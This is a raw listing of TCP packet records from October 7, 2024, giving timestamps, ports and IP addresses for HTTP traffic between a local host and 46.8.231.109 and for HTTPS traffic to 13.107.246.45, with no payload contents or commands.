Oct 7, 2024 18:43:19.054811001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.054836988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.054845095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.054881096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.054891109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.054924965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.054933071 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.054960012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.054969072 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.054997921 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055028915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055063009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055073023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055098057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055104017 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055131912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055141926 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055167913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055174112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055202007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055211067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055237055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055243015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055270910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055282116 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055305958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055314064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055349112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055354118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055407047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055450916 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055516958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055551052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055565119 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055602074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055644989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055646896 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055663109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055679083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055692911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055694103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055706024 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055707932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055721998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055742025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055743933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055743933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055756092 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055777073 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055778027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055789948 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055814028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055828094 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055866003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055896044 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055900097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055918932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055934906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055941105 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.055975914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.055991888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.056006908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.056010962 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.056018114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.056036949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.056051970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.056056023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.056078911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.056104898 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.056126118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.056159019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.056179047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.056194067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.056200981 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.056227922 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.056235075 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.056265116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.056272984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.056308985 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145242929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145262957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145278931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145319939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145351887 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145431995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145454884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145478964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145492077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145494938 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145503044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145514011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145524025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145535946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145549059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145553112 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145560026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145570993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145581007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145581007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145595074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145598888 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145605087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145615101 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145626068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145629883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145636082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145648003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145653009 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145658016 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145668983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145670891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145679951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145689011 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145689964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145699978 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145703077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145704985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.145715952 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.145745993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146116018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146131992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146146059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146168947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146188974 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146279097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146292925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146315098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146323919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146331072 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146338940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146353006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146354914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146373987 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146383047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146387100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146399021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146411896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146424055 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146425962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146439075 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146450043 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146454096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146469116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146475077 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146482944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146490097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146496058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146509886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146516085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146542072 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146624088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146636009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146651030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146663904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146670103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146678925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146692038 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146697044 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146712065 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146713972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146728039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146737099 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146743059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146753073 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146769047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146784067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146785975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146802902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146816015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146822929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146831036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146843910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146859884 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146903992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146925926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146939993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.146959066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.146976948 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147098064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147110939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147125006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147136927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147151947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147154093 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147166967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147176981 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147186995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147196054 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147208929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147218943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147219896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147231102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147242069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147250891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147254944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147267103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147269964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147277117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147286892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147298098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147299051 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147320032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147334099 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147362947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147391081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147408962 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147429943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147506952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147614002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147629023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147644043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147650003 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147659063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147672892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147677898 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147687912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147691965 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147715092 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147731066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147773027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147787094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147809029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147820950 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147823095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147839069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147844076 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147854090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147866964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147870064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147882938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147891045 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147897959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147911072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147916079 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147928953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.147948980 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.147969007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148034096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148123980 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148350000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148364067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148379087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148392916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148394108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148406029 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148406982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148421049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148421049 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148442984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148463011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148468018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148478985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148492098 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148500919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148505926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148514032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148519993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148531914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148535967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148550034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148551941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148561001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148565054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148577929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.148585081 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148639917 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.148641109 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.157511950 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.158104897 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.158127069 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.158551931 CEST	49715	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.158556938 CEST	443	49715	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.176251888 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.176672935 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.176687002 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.177155972 CEST	49712	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.177160978 CEST	443	49712	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.178095102 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.178531885 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.178590059 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.178951979 CEST	49714	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.178966045 CEST	443	49714	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.180005074 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.180286884 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.180319071 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.180632114 CEST	49713	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.180641890 CEST	443	49713	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.231038094 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.231570959 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.231585026 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.232259035 CEST	49711	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:19.232264996 CEST	443	49711	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:19.250761986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.250845909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.250894070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.250894070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.250896931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.250931978 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.250977039 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.250977039 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.250983000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251015902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251065969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251068115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251068115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251100063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251133919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251164913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251198053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251198053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251200914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251210928 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251234055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251274109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251283884 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251283884 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251327038 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251338005 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251360893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251424074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251441002 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251456022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251490116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251503944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251503944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251523018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251554966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251569033 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251569033 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251589060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251610994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:19.251621962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:19.251656055 CEST	80	49699	46.8.231.109	192.168.2.7
